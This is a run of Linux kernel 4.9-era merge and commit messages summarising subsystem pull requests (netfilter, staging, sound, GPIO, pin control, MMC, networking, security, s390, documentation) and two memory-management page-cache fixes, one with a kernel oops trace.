Pablo Neira Ayuso says:

====================
Netfilter fixes for net-next

This is a pull request to address fallout from previous nf-next pull
request, only fixes going on here:

1) Address a potential null dereference in nf_unregister_net_hook()
   when becomes nf_hook_entry_head is NULL, from Aaron Conole.

2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.

3) Fix linking problems in xt_hashlimit in x86_32, from Pai.

4) Fix permissions of nf_log sysctl from unpriviledge netns, from
   Jann Horn.

5) Fix possible divide by zero in nft_limit, from Liping Zhang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>

Pull staging and IIO updates from Greg KH:
 "Here is the big staging and IIO driver pull request for 4.9-rc1.

  There are a lot of patches in here, the majority due to the
  drivers/staging/greybus/ subsystem being merged in with full
  development history that went back a few years, in order to preserve
  the work that those developers did over time.

  Lots and lots of tiny cleanups happened in the tree as well, due to
  the Outreachy application process and lots of other developers showing
  up for the first time to clean code up.  Along with those changes, we
  deleted a wireless driver, and added a raspberrypi driver (currently
  marked broken), and lots of new iio drivers.

  Overall the tree still shrunk with more lines removed than added,
  about 10 thousand lines removed in total. Full details are in the very
  long shortlog below.

  All of this has been in the linux-next tree with no issues. There will
  be some merge problems with other subsystem trees, but those are all
  minor problems and shouldn't be hard to work out when they happen
  (MAINTAINERS and some lustre build problems with the IB tree)"

And furter from me asking for clarification about greybus:
 "Right now there is a phone from Motorola shipping with this code (a
  slightly older version, but the same tree), so even though Ara is not
  alive in the same form, the functionality is happening. We are working
  with the developers of that phone to merge the newer stuff in with
  their fork so they can use the upstream version in future versions of
  their phone product line.

  Toshiba has at least one chip shipping in their catalog that
  needs/uses this protocol over a Unipro link, and rumor has it that
  there might be more in the future.

  There are also other users of the greybus protocols, there is a talk
  next week at ELC that shows how it is being used across a network
  connection to control a device, and previous ELC talks have showed the
  protocol stack being used over USB to drive embedded Linux boards.
  I've also talked to some people who are starting to work to add a host
  controller driver to control arduinos as the greybus PHY protocols are
  very useful to control a serial/i2c/spio/whatever device across a
  random physical link, as it is a way to have a self-describing device
  be attached to a host without needing manual configuration.

  So yes, people are using it, and there is still the chance that it
  will show up in a phone/laptop/tablet/whatever from Google in the
  future as well, the tech isn't dead, even if the original large phone
  project happens to be"

* tag 'staging-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging: (3703 commits)
  Staging: fbtft: Fix bug in fbtft-core
  staging: rtl8188eu: fix double unlock error in rtw_resume_process()
  staging:r8188eu: remove GEN_MLME_EXT_HANDLER macro
  staging:r8188eu: remove GEN_DRV_CMD_HANDLER macro
  staging:r8188eu: remove GEN_EVT_CODE macro
  staging:r8188eu: remove GEN_CMD_CODE macro
  staging:r8188eu: remove pkt_newalloc member of the recv_buf structure
  staging:r8188eu: remove rtw_handle_dualmac declaration
  staging:r8188eu: remove (RGTRY|BSSID)_(OFT|SZ) macros
  staging:r8188eu: change rtl8188e_process_phy_info function argument type
  Staging: fsl-mc: Remove blank lines
  Staging: fsl-mc: Fix unaligned * in block comments
  Staging: comedi: Align the * in block comments
  Staging : ks7010 : Fix block comments warninig
  Staging: vt6655: Remove explicit NULL comparison using Coccinelle
  staging: rtl8188eu: core: rtw_xmit: Use macros instead of constants
  staging: rtl8188eu: core: rtw_xmit: Move constant of the right side
  staging: dgnc: Fix lines longer than 80 characters
  Staging: dgnc: constify attribute_group structures
  Staging: most: hdm-dim2: constify attribute_group structures
  ...

Pull sound updates from Takashi Iwai:
 "Again the diffstat shows a widely distributed pattern at this cycle,
  as there've been many code cleanups and refactoring allover the
  places. Other than that, the development was relatively calm, and no
  big surprise shouldn't be expected. Here are some highlights:

  Core:
   - Sequencer code refactoring / documentation updates
   - TLV code moved to uapi, following some relevant cleanups

  USB-Audio:
   - Lots of LINE6 driver fixes / updates
   - DragonFly and TEAC device quirk updates

  HD-audio:
   - Usual fixupes for Dell, Lenovo and HP machines
   - Link-audio time reporting capability

  ASoC:
   - Large refactoring of simple-card code to be shared with rcar driver
   - Removal of some duplicated ops over lots of CODEC drivers
   - Again quite a few Intel SKL driver updates
   - New drivers for Nuvoton NAU88C10, Realtek RT5660 and RT5663"

* tag 'sound-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: (465 commits)
  ASoC: fsl: Fix lockups with recent cache changes
  ASoC: Intel: Skylake: fix memory leak of module on error exit path
  ASoC: rsnd: add SNDRV_PCM_TRIGGER_SUSPEND/RESUME
  ASoC: wm8960: remove usage of obsoleted TLV-related macro
  ASoC: rt5616: remove usage of obsoleted TLV-related macro
  ASoC: max9867: remove usage of obsoleted TLV-related macro
  ASoC: trivial: system spelling fix
  ASoC: da7219: fix inappropriate condition statement
  ASoC: tlv320aic31xx: do not declare support for mono DAI
  ASoC: stac9766: fix wrong usage of DECLARE_TLV_DB_LINEAR()
  ASoC: wm8991: remove unused variable
  ASoC: wm8991: fix wrong usage of DECLARE_TLV_DB_LINEAR()
  ASOC: tpa6130a2: add static qualifier for file local symbols
  ASoC: sst-bxt-rt298: fix obsoleted initializers for array
  ASoC: sst-bxt-da7219_max98357a: fix obsoleted initializers for array
  ASoC: rt5616: add static qualifier for file local symbols
  ASoC: arizona: Add output power up/down delays for speaker path
  ASoC: arizona: Add debug prints for output power up/down times
  ALSA: hda - Add the top speaker pin config for HP Spectre x360
  ASoC: Intel: Add DMIC channel constraint for bxt machine
  ...

Pull DeviceTree updates from Rob Herring:

 - update changeset documentation on locking to reflect current code

 - fix alphabetizing of vendor-prefixes.txt

 - add various vendor prefixes

 - add ESP8089 WiFi binding

 - add new variable sized array parsing functions

* tag 'devicetree-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/robh/linux: (21 commits)
  DT: irqchip: renesas-irqc: document R8A7743/5 support
  dt-bindings: Add Keith&Koep vendor prefix
  dt-bindings: add vendor prefix for Auvidea GmbH
  of: Add vendor prefix for Engicam s.r.l company
  devicetree: Add vendor-prefix for Silead Inc.
  devicetree: bindings: Add vendor prefix for Topeet.
  dt-bindings: Add summit vendor id
  of/platform: Initialise dev->fwnode appropriately
  of: Add array read functions with min/max size limits
  of: Make of_find_property_value_of_size take a length range
  dt: net: enhance DWC EQoS binding to support Tegra186
  bindings: PCI: artpec: correct pci binding example
  Documentation: devicetree: Fix max77693 spelling errors
  dt: bindings: Add binding for ESP8089 wifi chips
  PCI: Xilinx NWL PCIe: Updating device tree documentation with prefetchable memory space
  Documentation: devicetree: spi: fix wrong spi-bus documentation
  dt-bindings: Add Japan Display Inc vendor id
  dt-bindings: vendor-prefixes: Add Sierra Wireless
  devicetree: Add vendor prefix for Shenzhen Sunchip Technology Co., Ltd
  devicetree: Sort vendor prefixes in alphabetical order
  ...

Pull GPIO updates from Linus Walleij:
 "This is the bulk of GPIO changes for the v4.9 series:

  Subsystem improvements:

   - do away with the last users of the obsolete Kconfig options
     ARCH_REQUIRE_GPIOLIB and ARCH_WANT_OPTIONAL_GPIOLIB (the latter
     always sounded like an item on a wishlist to Santa Claus to me). We
     can now select GPIOLIB and be done with it, for all archs. After
     some struggle it even work on UM. Not that it has GPIO, but if it
     wants to, it can select the library.

   - continued efforts to make drivers properly either tristate or bool.

   - introduce a warning for drivers assigning default triggers to their
     irqchip lines when probed from device tree, so we find and fix
     these ambigous drivers. It is agreed that in the OF config path,
     the device tree defines trigger characteristics.

   - the same warning, mutatis mutandis, for ACPI-probed GPIO irqchips.

   - we introduce the ability to mark certain IRQ lines as "unusable" as
     they can be taken by BIOS/firmware, unrouted in silicon and
     generally nasty if you use them, and such things. This is put to
     good use in the STMPE driver and also in the Cherryview pin control
     driver.

   - a new "mockup" virtual GPIO device that can be used for testing.
     The plan is to add unit tests under tools/* for exercising this
     device and verify that the kernel code paths are working as they
     should.

   - make memory-mapped I/O-drivers depend on HAS_IOMEM. This was
     implicit all the time, but when people started building UM with
     allyesconfig or allmodconfig it exploded in their face.

   - move some stray bits of device tree and ACPI HW description
     callbacks down into their respective implementation silo. These
     were causing issues when compiling on !HAS_IOMEM as well, so now
     eventually UM compiles the GPIOLIB library if it wants to.

  New drivers:

   - new driver for the Aspeed GPIO front-end companion to the pin
     controller merged through the pin control tree.

   - new driver for the LP873x PMIC GPIO portions.

   - new driver for Technologic Systems' I2C FPGA GPIO such as TS4900,
     TS-7970, TS-7990 and TS-4100.

   - new driver for the Broadcom BCM63xx series including BCM6338 and
     BCM6345.

   - new driver for the Intel WhiskeyCove PMIC GPIO.

   - new driver for the Allwinner AXP209 PMIC GPIO portions.

   - new driver for Diamond Systems 48 line GPIO-MM, another of these
     port-mapped I/O expansion cards.

   - support the STMicroelectronics STMPE1600 variant in the STMPE
     driver.

  Driver improvements:

   - the STMPE driver now supports rising/falling edge detection
     properly for IRQs.

   - the PCA954x will now fetch and enable its VCC regulator properly.

   - major rework of the PCA953x driver with the goal of eventually
     switching it over to use regmap and thus modernize it even more.

   - switch the IOP driver to use the generic MMIO GPIO library.

   - move the ages old HTC EGPIO (extended GPIO) GPIO expander driver
     over to this subsystem from MFD, achieveing some separation of
     concerns"

* tag 'gpio-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio: (81 commits)
  gpio: add missing static inline
  gpio: OF: localize some gpiochip init functions
  gpio: acpi: separation of concerns
  gpio: OF: separation of concerns
  gpio: make memory-mapped drivers depend on HAS_IOMEM
  gpio: stmpe: use BIT() macro
  gpio: stmpe: forbid unused lines to be mapped as IRQs
  mfd/gpio: Move HTC GPIO driver to GPIO subsystem
  gpio: MAINTAINERS: Add an entry for GPIO mockup driver
  gpio/mockup: add virtual gpio device
  gpio: Added zynq specific check for special pins on bank zero
  gpio: axp209: Implement get_direction
  gpio: aspeed: remove redundant return value check
  gpio: loongson1: remove redundant return value check
  ARM: omap2: fix missing include
  gpio: tc3589x: fix up complaints on unsigned
  gpio: tc3589x: add .get_direction() and small cleanup
  gpio: f7188x: use gpiochip_get_data instead of container_of
  gpio: tps65218: use devm_gpiochip_add_data() for gpio registration
  gpio: aspeed: fix return value check in aspeed_gpio_probe()
  ...

Pull pin control updates from Linus Walleij:
 "This is the bulk of pin control changes for the v4.9 cycle.

  General improvements:

   - nicer debugfs output with one pin/config pair per line.

   - continued efforts to strictify module vs bool.

   - constification and similar from Coccinelle engineers.

   - return error from pinctrl_bind_pins()

   - pulling in the ability to selectively disable mapping of unusable
     IRQs from the GPIO subsystem.

  New drivers:

   - new driver for the Aspeed pin controller family: AST2400 (G4) and
     AST2500 (G5) are supported. These are used by OpenBMC on the IBM
     Witherspoon platform.

   - new subdriver for the Allwinner sunxi GR8.

  Driver improvements:

   - drop default IRQ trigger types assigned during IRQ mapping on AT91
     and Nomadik. This error was identified by improvements in the IRQ
     core by Marc Zyngier.

   - active high/low types on the GPIO IRQs for the ST pin controller.

   - IRQ support on GPIOs on the STM32 pin controller.

   - Renesas Super-H/ARM sh-pfc: continued massive developments.

   - misc MXC improvements.

   - SPDIF on the Allwiner A31 SoC

   - IR remote and SPI NOR flash, NAND flash, I2C pins on the AMLogic
     SoC.

   - PWM pins on the Meson.

   - do not map unusable IRQs (taken by BIOS) on the Intel Cherryview.

   - add GPIO IRQ wakeup support to the Intel driver so we can wake up
     from button pushes.

  Deprecation:

   - delete the obsolete STiH415/6 SoC support"

* tag 'pinctrl-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl: (75 commits)
  pinctrl: qcom: fix masking of pinmux functions
  pinctrl: intel: Configure GPIO chip IRQ as wakeup interrupts
  pinctrl: cherryview: Convert to use devm_gpiochip_add_data()
  pinctrl: cherryview: Do not add all southwest and north GPIOs to IRQ domain
  gpiolib: Make it possible to exclude GPIOs from IRQ domain
  pinctrl: nomadik: don't default-flag IRQs as falling
  pinctrl: st: Remove obsolete platforms from pinctrl-st dt doc
  pinctrl: st: Remove STiH415/6 SoC pinctrl driver support.
  pinctrl: amlogic: gxbb: add i2c pins
  pinctrl: amlogic: gxbb: add nand pins
  pinctrl: stm32: add IRQ_DOMAIN_HIERARCHY dependency
  pinctrl: amlogic: gxbb: add spi nor pins
  pinctrl: sh-pfc: r8a7794: Implement voltage switching for SDHI
  pinctrl: sh-pfc: r8a7791: Implement voltage switching for SDHI
  pinctrl: sh-pfc: Add PORT_GP_24 helper macro
  pinctrl: Fix "st,syscfg" definition for STM32 pinctrl
  driver: base: pinctrl: return error from pinctrl_bind_pins()
  pinctrl: meson-gxbb: add the missing SDIO interrupt pin
  pinctrl: aspeed: fix regmap error handling
  pinctrl: mediatek: constify gpio_chip structures
  ...

Pull MMC updates from Ulf Hansson:

  MMC core:
   - Add support for sending commands during data transfer
   - Erase/discard/trim improvements
   - Improved error handling
   - Extend sysfs with SD status register
   - Document info about the vmmc/vmmcq regulators
   - Extend pwrseq-simple to manage an optional post-power-on-delay
   - Some various minor improvements and cleanups

  MMC host:
   - dw_mmc: Add reset support
   - dw_mmc: Return -EILSEQ for EBE and SBE error
   - dw_mmc: Some cleanups
   - dw_mmc-k3: Add UHS-I support Hisilicon Hikey
   - tmio: Add eMMC support
   - sh_mobile_sdhi: Add r8a7796 support
   - sunxi: Don't use sample clocks for sun4i/sun5i
   - sunxi: Add support for A64 mmc controller
   - sunxi: Some cleanups and improvements
   - sdhci: Support for sending commands during data transfer
   - sdhci: Do not allow tuning procedure to be interrupted
   - sdhci-pci: Enable SD/SDIO on Merrifield
   - sdhci-pci|acpi: Enable MMC_CAP_CMD_DURING_TFR
   - sdhci-pci: Some cleanups
   - sdhci-of-arasan: Set controller to test mode when no CD bit
   - sdhci-of-arasan: Some fixes for clocks and phys
   - sdhci-brcmstb: Don't use ADMA 64-bit when not supported
   - sdhci-tegra: Mark 64-bit DMA broken on Tegra124
   - sdhci-esdhc-imx: Fixups related to data timeouts

* tag 'mmc-v4.9' of git://git.linaro.org/people/ulf.hansson/mmc: (68 commits)
  mmc: dw_mmc: remove the deprecated "supports-highspeed" property
  mmc: dw_mmc: minor cleanup for dw_mci_adjust_fifoth
  mmc: dw_mmc: use macro to define ring buffer size
  mmc: dw_mmc: fix misleading error print if failing to do DMA transfer
  mmc: dw_mmc: avoid race condition of cpu and IDMAC
  mmc: dw_mmc: split out preparation of desc for IDMAC32 and IDMAC64
  mmc: core: don't try to switch block size for dual rate mode
  mmc: sdhci-of-arasan: Set controller to test mode when no CD bit
  dt: sdhci-of-arasan: Add device tree option xlnx, fails-without-test-cd
  mmc: tmio: add eMMC support
  mmc: rtsx_usb: use new macro for R1 without CRC
  mmc: rtsx_pci: use new macro for R1 without CRC
  mmc: add define for R1 response without CRC
  mmc: card: do away with indirection pointer
  mmc: sdhci-acpi: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers
  mmc: sdhci-pci: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers
  mmc: sdhci: Support cap_cmd_during_tfr requests
  mmc: mmc_test: Add tests for sending commands during transfer
  mmc: core: Add support for sending commands during data transfer
  mmc: sdhci-brcmstb: Fix incorrect capability
  ...

Pull fuse updates from Miklos Szeredi:
 "This adds POSIX ACL permission checking to the fuse kernel module.

  In addition there are minor bug fixes as well as cleanups"

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse:
  fuse: limit xattr returned size
  fuse: remove duplicate cs->offset assignment
  fuse: don't use fuse_ioctl_copy_user() helper
  fuse_ioctl_copy_user(): don't open-code copy_page_{to,from}_iter()
  fuse: get rid of fc->flags
  fuse: use timespec64
  fuse: don't use ->d_time
  fuse: Add posix ACL support
  fuse: handle killpriv in userspace fs
  fuse: fix killing s[ug]id in setattr
  fuse: invalidate dir dentry after chmod
  fuse: Use generic xattr ops
  fuse: listxattr: verify xattr list

Pull misc filesystem and quota fixes from Jan Kara:
 "Some smaller udf, ext2, quota & reiserfs fixes"

* 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jack/linux-fs:
  ext2: Unmap metadata when zeroing blocks
  udf: don't bother with full-page write optimisations in adinicb case
  reiserfs: Unlock superblock before calling reiserfs_quota_on_mount()
  udf: Remove useless check in udf_adinicb_write_begin()
  quota: fill in Q_XGETQSTAT inode information for inactive quotas
  ext2: Check return value from ext2_get_group_desc()

Pull networking updates from David Miller:

 1) BBR TCP congestion control, from Neal Cardwell, Yuchung Cheng and
    co. at Google. https://lwn.net/Articles/701165/

 2) Do TCP Small Queues for retransmits, from Eric Dumazet.

 3) Support collect_md mode for all IPV4 and IPV6 tunnels, from Alexei
    Starovoitov.

 4) Allow cls_flower to classify packets in ip tunnels, from Amir Vadai.

 5) Support DSA tagging in older mv88e6xxx switches, from Andrew Lunn.

 6) Support GMAC protocol in iwlwifi mwm, from Ayala Beker.

 7) Support ndo_poll_controller in mlx5, from Calvin Owens.

 8) Move VRF processing to an output hook and allow l3mdev to be
    loopback, from David Ahern.

 9) Support SOCK_DESTROY for UDP sockets. Also from David Ahern.

10) Congestion control in RXRPC, from David Howells.

11) Support geneve RX offload in ixgbe, from Emil Tantilov.

12) When hitting pressure for new incoming TCP data SKBs, perform a
    partial rathern than a full purge of the OFO queue (which could be
    huge). From Eric Dumazet.

13) Convert XFRM state and policy lookups to RCU, from Florian Westphal.

14) Support RX network flow classification to igb, from Gangfeng Huang.

15) Hardware offloading of eBPF in nfp driver, from Jakub Kicinski.

16) New skbmod packet action, from Jamal Hadi Salim.

17) Remove some inefficiencies in snmp proc output, from Jia He.

18) Add FIB notifications to properly propagate route changes to
    hardware which is doing forwarding offloading. From Jiri Pirko.

19) New dsa driver for qca8xxx chips, from John Crispin.

20) Implement RFC7559 ipv6 router solicitation backoff, from Maciej
    Żenczykowski.

21) Add L3 mode to ipvlan, from Mahesh Bandewar.

22) Support 802.1ad in mlx4, from Moshe Shemesh.

23) Support hardware LRO in mediatek driver, from Nelson Chang.

24) Add TC offloading to mlx5, from Or Gerlitz.

25) Convert various drivers to ethtool ksettings interfaces, from
    Philippe Reynes.

26) TX max rate limiting for cxgb4, from Rahul Lakkireddy.

27) NAPI support for ath10k, from Rajkumar Manoharan.

28) Support XDP in mlx5, from Rana Shahout and Saeed Mahameed.

29) UDP replicast support in TIPC, from Richard Alpe.

30) Per-queue statistics for qed driver, from Sudarsana Reddy Kalluru.

31) Support BQL in thunderx driver, from Sunil Goutham.

32) TSO support in alx driver, from Tobias Regnery.

33) Add stream parser engine and use it in kcm.

34) Support async DHCP replies in ipconfig module, from Uwe
    Kleine-König.

35) DSA port fast aging for mv88e6xxx driver, from Vivien Didelot.

* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next: (1715 commits)
  mlxsw: switchx2: Fix misuse of hard_header_len
  mlxsw: spectrum: Fix misuse of hard_header_len
  net/faraday: Stop NCSI device on shutdown
  net/ncsi: Introduce ncsi_stop_dev()
  net/ncsi: Rework the channel monitoring
  net/ncsi: Allow to extend NCSI request properties
  net/ncsi: Rework request index allocation
  net/ncsi: Don't probe on the reserved channel ID (0x1f)
  net/ncsi: Introduce NCSI_RESERVED_CHANNEL
  net/ncsi: Avoid unused-value build warning from ia64-linux-gcc
  net: Add netdev all_adj_list refcnt propagation to fix panic
  net: phy: Add Edge-rate driver for Microsemi PHYs.
  vmxnet3: Wake queue from reset work
  i40e: avoid NULL pointer dereference and recursive errors on early PCI error
  qed: Add RoCE ll2 & GSI support
  qed: Add support for memory registeration verbs
  qed: Add support for QP verbs
  qed: PD,PKEY and CQ verb support
  qed: Add support for RoCE hw init
  qede: Add qedr framework
  ...

Commit 22f2ac51 ("mm: workingset: fix crash in shadow node shrinker
caused by replace_page_cache_page()") switched replace_page_cache() from
raw radix tree operations to page_cache_tree_insert() but didn't take
into account that the latter function, unlike the raw radix tree op,
handles mapping->nrpages.  As a result, that counter is bumped for each
page replacement rather than balanced out even.

The mapping->nrpages counter is used to skip needless radix tree walks
when invalidating, truncating, syncing inodes without pages, as well as
statistics for userspace.  Since the error is positive, we'll do more
page cache tree walks than necessary; we won't miss a necessary one.
And we'll report more buffer pages to userspace than there are.  The
error is limited to fuse inodes.

Fixes: 22f2ac51 ("mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()")
Signed-off-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Miklos Szeredi <miklos@szeredi.hu>
Cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

When the underflow checks were added to workingset_node_shadow_dec(),
they triggered immediately:

  kernel BUG at ./include/linux/swap.h:276!
  invalid opcode: 0000 [#1] SMP
  Modules linked in: isofs usb_storage fuse xt_CHECKSUM ipt_MASQUERADE nf_nat_masquerade_ipv4 tun nf_conntrack_netbios_ns nf_conntrack_broadcast ip6t_REJECT nf_reject_ipv6
   soundcore wmi acpi_als pinctrl_sunrisepoint kfifo_buf tpm_tis industrialio acpi_pad pinctrl_intel tpm_tis_core tpm nfsd auth_rpcgss nfs_acl lockd grace sunrpc dm_crypt
  CPU: 0 PID: 20929 Comm: blkid Not tainted 4.8.0-rc8-00087-gbe67d60b #1
  Hardware name: System manufacturer System Product Name/Z170-K, BIOS 1803 05/06/2016
  task: ffff8faa93ecd940 task.stack: ffff8faa7f478000
  RIP: page_cache_tree_insert+0xf1/0x100
  Call Trace:
    __add_to_page_cache_locked+0x12e/0x270
    add_to_page_cache_lru+0x4e/0xe0
    mpage_readpages+0x112/0x1d0
    blkdev_readpages+0x1d/0x20
    __do_page_cache_readahead+0x1ad/0x290
    force_page_cache_readahead+0xaa/0x100
    page_cache_sync_readahead+0x3f/0x50
    generic_file_read_iter+0x5af/0x740
    blkdev_read_iter+0x35/0x40
    __vfs_read+0xe1/0x130
    vfs_read+0x96/0x130
    SyS_read+0x55/0xc0
    entry_SYSCALL_64_fastpath+0x13/0x8f
  Code: 03 00 48 8b 5d d8 65 48 33 1c 25 28 00 00 00 44 89 e8 75 19 48 83 c4 18 5b 41 5c 41 5d 41 5e 5d c3 0f 0b 41 bd ef ff ff ff eb d7 <0f> 0b e8 88 68 ef ff 0f 1f 84 00
  RIP  page_cache_tree_insert+0xf1/0x100

This is a long-standing bug in the way shadow entries are accounted in
the radix tree nodes. The shrinker needs to know when radix tree nodes
contain only shadow entries, no pages, so node->count is split in half
to count shadows in the upper bits and pages in the lower bits.

Unfortunately, the radix tree implementation doesn't know of this and
assumes all entries are in node->count. When there is a shadow entry
directly in root->rnode and the tree is later extended, the radix tree
implementation will copy that entry into the new node and and bump its
node->count, i.e. increases the page count bits. Once the shadow gets
removed and we subtract from the upper counter, node->count underflows
and triggers the warning. Afterwards, without node->count reaching 0
again, the radix tree node is leaked.

Limit shadow entries to when we have actual radix tree nodes and can
count them properly. That means we lose the ability to detect refaults
from files that had only the first page faulted in at eviction time.

Fixes: 449dd698 ("mm: keep page cache radix tree nodes in check")
Signed-off-by: Johannes Weiner <hannes@cmpxchg.org>
Reported-and-tested-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Jan Kara <jack@suse.cz>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

Renesas  RZ/G SoC have the R-Car gen2 compatible IRQC interrupt controllers.
Document RZ/G1[ME] (also known as R8A774[35]) SoC bindings.
Signed-off-by: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Acked-by: Geert Uytterhoeven <geert+renesas@glider.be>
Signed-off-by: Rob Herring <robh@kernel.org>

Add vendor prefix for Keith&Koep GmbH , http://keith-koep.com/en/Signed-off-by: Marek Vasut <marex@denx.de>
Cc: Fabio Estevam <fabio.estevam@nxp.com>
Cc: Shawn Guo <shawnguo@kernel.org>
[robh: fix alphabetizing]
Signed-off-by: Rob Herring <robh@kernel.org>

Jiri Pirko says:

====================
mlxsw: Couple of fixes

Couple of fixes from Yotam.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>

In order to specify that the mlxsw switchx2 driver needs additional
headroom for packets, there have been use of the hard_header_len field of
the netdevice struct.

This commit changes that to use needed_headroom instead, as this is the
correct way to do that.

Fixes: 31557f0f ("mlxsw: Introduce Mellanox SwitchX-2 ASIC support")
Signed-off-by: Yotam Gigi <yotamg@mellanox.com>
Acked-by: Ido Schimmel <idosch@mellanox.com>
Signed-off-by: Jiri Pirko <jiri@mellanox.com>
Signed-off-by: David S. Miller <davem@davemloft.net>

In order to specify that the mlxsw spectrum driver needs additional
headroom for packets, there have been use of the hard_header_len field of
the netdevice struct.

This commit changes that to use needed_headroom instead, as this is the
correct way to do that.

Fixes: 56ade8fe ("mlxsw: spectrum: Add initial support for Spectrum ASIC")
Signed-off-by: Yotam Gigi <yotamg@mellanox.com>
Acked-by: Ido Schimmel <idosch@mellanox.com>
Signed-off-by: Jiri Pirko <jiri@mellanox.com>
Signed-off-by: David S. Miller <davem@davemloft.net>

Merge tag 'mac80211-next-for-davem-2016-10-04' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211-next

Johannes Berg says:

====================
This time around, we have
 * Neighbor Awareness Networking (NAN) APIs
 * a fix for a previous patch that caused memory corruption
   in wireless extensions key settings
 * beacon rate configuration for AP and mesh
 * memory limits for mac80211's internal TXQs
 * a (fairly involved) fix for the TXQ vs. crypto problems
 * direct cfg80211 driver API for WEP keys

This also pulls in net-next to fix the merge conflicts, see
the merge commit for more details.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>

Pull security subsystem updates from James Morris:

  SELinux/LSM:
   - overlayfs support, necessary for container filesystems

  LSM:
   - finally remove the kernel_module_from_file hook

  Smack:
   - treat signal delivery as an 'append' operation

  TPM:
   - lots of bugfixes & updates

  Audit:
   - new audit data type: LSM_AUDIT_DATA_FILE

* 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: (47 commits)
  Revert "tpm/tpm_crb: implement tpm crb idle state"
  Revert "tmp/tpm_crb: fix Intel PTT hw bug during idle state"
  Revert "tpm/tpm_crb: open code the crb_init into acpi_add"
  Revert "tmp/tpm_crb: implement runtime pm for tpm_crb"
  lsm,audit,selinux: Introduce a new audit data type LSM_AUDIT_DATA_FILE
  tmp/tpm_crb: implement runtime pm for tpm_crb
  tpm/tpm_crb: open code the crb_init into acpi_add
  tmp/tpm_crb: fix Intel PTT hw bug during idle state
  tpm/tpm_crb: implement tpm crb idle state
  tpm: add check for minimum buffer size in tpm_transmit()
  tpm: constify TPM 1.x header structures
  tpm/tpm_crb: fix the over 80 characters checkpatch warring
  tpm/tpm_crb: drop useless cpu_to_le32 when writing to registers
  tpm/tpm_crb: cache cmd_size register value.
  tmp/tpm_crb: drop include to platform_device
  tpm/tpm_tis: remove unused itpm variable
  tpm_crb: fix incorrect values of cmdReady and goIdle bits
  tpm_crb: refine the naming of constants
  tpm_crb: remove wmb()'s
  tpm_crb: fix crb_req_canceled behavior
  ...

Pull audit updates from Paul Moore:
 "Another relatively small pull request for v4.9 with just two patches.

  The patch from Richard updates the list of features we support and
  report back to userspace; this should have been sent earlier with the
  rest of the v4.8 patches but it got lost in my inbox.

  The second patch fixes a problem reported by our Android friends where
  we weren't very consistent in recording PIDs"

* 'stable-4.9' of git://git.infradead.org/users/pcmoore/audit:
  audit: add exclude filter extension to feature bitmap
  audit: consistently record PIDs with task_tgid_nr()

Pull s390 updates from Martin Schwidefsky:
 "The new features and main improvements in this merge for v4.9

   - Support for the UBSAN sanitizer

   - Set HAVE_EFFICIENT_UNALIGNED_ACCESS, it improves the code in some
     places

   - Improvements for the in-kernel fpu code, in particular the overhead
     for multiple consecutive in kernel fpu users is recuded

   - Add a SIMD implementation for the RAID6 gen and xor operations

   - Add RAID6 recovery based on the XC instruction

   - The PCI DMA flush logic has been improved to increase the speed of
     the map / unmap operations

   - The time synchronization code has seen some updates

  And bug fixes all over the place"

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux: (48 commits)
  s390/con3270: fix insufficient space padding
  s390/con3270: fix use of uninitialised data
  MAINTAINERS: update DASD maintainer
  s390/cio: fix accidental interrupt enabling during resume
  s390/dasd: add missing \n to end of dev_err messages
  s390/config: Enable config options for Docker
  s390/dasd: make query host access interruptible
  s390/dasd: fix panic during offline processing
  s390/dasd: fix hanging offline processing
  s390/pci_dma: improve lazy flush for unmap
  s390/pci_dma: split dma_update_trans
  s390/pci_dma: improve map_sg
  s390/pci_dma: simplify dma address calculation
  s390/pci_dma: remove dma address range check
  iommu/s390: simplify registration of I/O address translation parameters
  s390: migrate exception table users off module.h and onto extable.h
  s390: export header for CLP ioctl
  s390/vmur: fix irq pointer dereference in int handler
  s390/dasd: add missing KOBJ_CHANGE event for unformatted devices
  s390: enable UBSAN
  ...

Pull documentation updates from Jonathan Corbet:
 "This is the documentation update pull for the 4.9 merge window.

  The Sphinx transition is still creating a fair amount of work. Here we
  have a number of fixes and, importantly, a proper PDF output solution,
  thanks to Jani Nikula, Mauro Carvalho Chehab and Markus Heiser.

  I've started a couple of new books: a driver API book (based on the
  old device-drivers.tmpl) and a development tools book. Both are meant
  to show how we can integrate together our existing documentation into
  a more coherent and accessible whole. It involves moving some stuff
  around and formatting changes, but, I think, the results are worth it.
  The good news is that most of our existing Documentation/*.txt files
  are *almost* in RST format already; the amount of messing around
  required is minimal.

  And, of course, there's the usual set of updates, typo fixes, and
  more"

* tag 'docs-4.9' of git://git.lwn.net/linux: (120 commits)
  URL changed for Linux Foundation TAB
  dax : Fix documentation with respect to struct pages
  iio: Documentation: Correct the path used to create triggers.
  docs: Remove space-before-label guidance from CodingStyle
  docs-rst: add inter-document cross references
  Documentation/email-clients.txt: convert it to ReST markup
  Documentation/kernel-docs.txt: reorder based on timestamp
  Documentation/kernel-docs.txt: Add dates for online docs
  Documentation/kernel-docs.txt: get rid of broken docs
